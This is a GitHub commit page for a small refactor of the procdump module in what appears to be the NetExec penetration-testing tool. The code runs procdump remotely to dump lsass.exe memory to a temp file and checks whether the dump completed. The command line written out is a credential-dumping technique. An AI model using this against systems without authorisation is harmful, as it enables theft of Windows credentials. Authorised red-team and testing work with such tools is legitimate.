Skip to content

Commit bc77940

Browse files
committed
Clean up code
1 parent e8d042d commit bc77940

1 file changed

Lines changed: 3 additions & 8 deletions

File tree

nxc/modules/procdump.py

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -70,18 +70,13 @@ def on_admin_login(self, context, connection):
7070
command = f"{self.tmp_dir}{self.procdump} -accepteula -ma {pid} {self.tmp_dir}%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
7171
context.log.display(f"Executing command {command}")
7272
p = connection.execute(command, True)
73-
context.log.debug(p)
74-
dump = False
75-
if "Dump 1 complete" in p:
76-
context.log.success("Process lsass.exe was successfully dumped")
77-
dump = True
78-
else:
79-
context.log.fail("Process lsass.exe error while dumping, try with verbose")
8073

81-
if not dump:
74+
if "Dump 1 complete" not in p:
75+
context.log.fail("Process lsass.exe error while dumping, try with verbose")
8276
self.delete_procdump_binary(connection, context)
8377
return
8478
else:
79+
context.log.success("Process lsass.exe was successfully dumped")
8580
regex = r"([A-Za-z0-9-]*.dmp)"
8681
matches = re.search(regex, str(p), re.MULTILINE)
8782
machine_name = ""

0 commit comments

Comments
 (0)